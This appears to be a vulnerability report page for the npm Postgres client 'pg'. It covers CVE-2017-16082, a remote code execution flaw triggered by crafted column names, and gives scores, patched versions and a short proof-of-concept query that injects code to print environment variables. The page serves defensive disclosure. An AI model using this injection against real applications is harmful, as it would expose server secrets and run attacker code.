npm package report

Is pg safe?

1 known vulnerability, worst severity CRITICAL.

// reach

17 direct dependencies

2 carry known advisories, worst HIGH

390 packages depend on it

an advisory here reaches each of them

Create a free accountfor every dependency path, dependent and what to upgrade
// ai model usage

Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


cvss
9.8
critical

CVSS v3.0 base score out of 10

epss
10.4%
high

chance of exploitation in 30 days, 96th percentile of all CVEs

xyz score
5.8
medium

CyberXYZ composite out of 10

fig. 01 — GHSA-wc9v-mj63-m9g5, the advisory selected below

// 1 advisories

GHSA-wc9v-mj63-m9g5

CRITICALGitHub ratingCVE-2017-16082

Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

  • The application executes unsafe, user-supplied sql which contains malicious column names.
  • The application connects to an untrusted database and executes a query returning results which contain a malicious column name.
// proof of concept
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})
// recommendation
  • Version 2.x.x: Update to version 2.11.2 or later.
  • Version 3.x.x: Update to version 3.6.4 or later.
  • Version 4.x.x: Update to version 4.5.7 or later.
  • Version 5.x.x: Update to version 5.2.1 or later.
  • Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
  • Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )
// cvss v3.0 vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Checked 2026-11-06 at 20:19 UTC. The most recent advisory here was published 2018-07-24. Updated continuously from NVD, GHSA, OSV and CNA feeds.

Think a verdict here is wrong? Tell us — we respond within 2 business days.